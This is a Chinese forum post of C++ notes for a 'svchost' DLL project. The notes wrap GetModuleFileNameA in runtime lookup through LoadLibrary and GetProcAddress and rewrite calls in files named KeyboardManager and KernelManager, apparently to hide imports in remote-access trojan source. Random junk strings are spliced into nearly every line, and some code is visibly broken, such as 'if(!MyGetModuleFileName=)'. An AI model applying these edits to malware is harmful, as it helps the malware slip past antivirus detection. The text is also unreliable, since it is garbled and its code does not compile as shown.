返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记( m' s/ K% z- f! c
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h$ N5 m' @& t9 @6 V9 C! X5 Y
----------------------------------------
- R& l  i! c9 x9 ZDTDY.h:! s  ?8 ]0 p- I) p. Y* z, X  ?

3 {" ~: F: L3 U: k- |' ?% j$ O+ T$ F#if _MSC_VER>10009 H" i. O8 {- \; z" [  C8 f5 ~
#pragma once9 I. E9 y2 j5 r% @0 S5 y
#endif //_MSC_VER>1000
. j- J+ z  l" m# B#include<windows.h># P- Q9 F4 r0 U- m% @0 N7 J( M

) {7 I& y9 T0 `1 c) ]! A0 u) ptypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);' [8 ?3 j. |+ b7 [% h
class DTDY) Q! K" l. N; T9 a+ ~9 U9 l
{6 v) X1 Y( ^! ^& v/ Z4 d
public:( W# E5 d* `0 A  H- F) e7 x7 o
DTDY();; Y' Z' ]& C* J( c9 X
virtual ~DTDY();( R) `; y. @3 l6 G/ H& U# ~' Y
public:
5 E! V% P4 @4 P8 |- D  lstatic pGetModuleFileNameA MyGetModuleFileName;
9 a  T: n7 Z' P0 p0 V+ tstatic BOOL FunInitiallization();
" t! v$ h" o( }. \" {};
5 k' p* i" H* C8 p0 K* R2 S& `#endif
4 y7 I; m) ^- J1 x  W----------------------------------------
% o, P) ?, B, Y  i, T
/ r/ q4 `. }$ ~8 j+ ]DTDY.cpp:5 g  c- O' P4 ~+ a' {, o6 R( b2 C
4 ^( G) c, ?& e( U; e9 N. E
#include "DTDY.h"
' `- L. Q: S/ D& i; O$ V& J( y; jpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" k) v6 `9 x$ V* ~* o/ `0 hDTDY:TDY()
% {2 j5 Y0 [* m+ f1 `( r3 K, {{
3 X7 _3 ]- ]. [* }! t0 D}
; l2 F0 r; }7 v) V; LDTDY::~DTDY()
' T8 g0 v0 @/ N' l{" u' j# V" q2 d/ s. H. t, W
}3 Q; n& h  m) M
BOOL DTDY::FunInitiallization()
4 m& {4 b& K6 ^. X* T1 ~! m{/ e: i8 b6 m* T( T; Z
HMODULE hModule=LoadLibrary("kernel32.dll");
5 J1 x9 W. K9 Y1 E& ^5 UMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- U5 V* i1 w, U$ f, Sif(!MyGetModuleFileName=) return FALSE;1 b% c5 q# [2 W. N, M  A- O

5 |7 L& G+ W- n, ^$ o0 Oreturn TRUE;
! v: r/ l' h, t3 Z) T}
0 o' U$ P" `! y----------------------------------------
4 n7 K; ~2 M0 a9 |! S/ r0 isvchost.cpp:: E7 G; X+ Q$ N$ c0 e

9 T* w( q- U2 x2 Z, C#include "DTDY.h"
: b/ ]% Y7 b# F. H6 a& G0 |/ c7 v, W& ~8 G; u7 W
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
' z; {! g- I# K2 L" K0 G{3 M* T4 Y6 z/ G2 c
switch(ul_reason_for_call)
* j5 F2 m8 I  b' h{1 E+ ~: H8 ]7 z1 D) i
case DLL_PROCESS_ATTACH:
1 L. z1 I- Z# {if(!DTDY::FunInitiallization()) return FALSE;
1 L9 J4 x  z2 T& V& L% j0 }$ N% O8 U+ N! i$ c6 E* B
break;
9 ^2 ?: g  V7 I, ~}' E9 r9 Q3 @& w$ e+ d& T: A! K
}
3 z- S# I# P: y! z) I7 i5 }* d  C3 v8 X# ?

  n& m' l- V$ F  G6 M9 iGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def( L; R3 Z* |6 o+ d6 E+ L: [/ U
改写为
& o: ^! F1 p/ xDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
) ]! i7 R3 j! p& j9 F* ^* C----------------------------------------
0 g9 C; Q5 `/ X) O" [% ]0 s( nKernelManager.cpp:
& j8 _$ x5 X. `9 U4 n$ R9 z! T9 f3 i  {% X. ~# H
#include "../DTDY.h"
) Z9 h+ t2 E( Q/ z& TGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! B9 t- j- K9 }; M
改写为
) E" X: w* h& m. N1 a* ODTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, O; {# u& V- G. m
----------------------------------------

返回列表